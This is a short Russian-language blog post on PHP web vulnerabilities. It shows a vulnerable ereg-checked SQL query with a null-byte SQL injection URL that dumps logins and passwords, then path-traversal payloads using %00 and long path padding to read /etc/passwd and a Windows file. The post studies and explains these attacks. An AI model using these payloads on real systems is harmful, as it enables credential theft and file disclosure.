1. ...
2. if (ereg ("^(.){1,3}$", $_GET['id'], $regs)) {
3. mysql_query("SELECT id,email FROM members where id=".$_GET['id']);
4. ...
Тогда, с использованием null-byte возможно осуществить внедрение операторов SQL. Под mysql запрос для проведения атаки будет выглядеть примерно так:
http://target/?id=1/*%00*/union+select+id,concat_ws(0x3a,login,password)+from+users
Подобная атака становиться возможной по причине имеющихся недостатков в функциях ereg(), eregi() и др.
К слову, про использование null-byte. Пару месяцев назад Raz0r опубликовал материалы исследования по теме замены null-byte при эксплуатации уязвимостей path traversal на web-сервере использующем php. Данный вектор станет полезным, например, в случаях, когда включен magic_quotes или используется некоторая фильтрация входящих параметров.
Если кратко, то для пхп текущей версии и ниже, следующие конструкции являются равнозначными:
- для win
http://target/?file=non/../../../../Documents%20and%20Settings/Default%20User/Local%20Settings/desktop.ini%00
http://target/?file=non/../../../../Documents%20and%20Settings/Default%20User/Local%20Settings/desktop.ini...[1024]...
- для nix
http://target/?file=non/../../../../../etc/passwd%00
http://target/?file=non/../../../../../etc/passwd/././.[1024-4096]/././.
Ссылка на оригинальное исследование.
в продолжении замены null-byte и LFI: http://www.milw0rm.com/papers/359
ОтветитьУдалить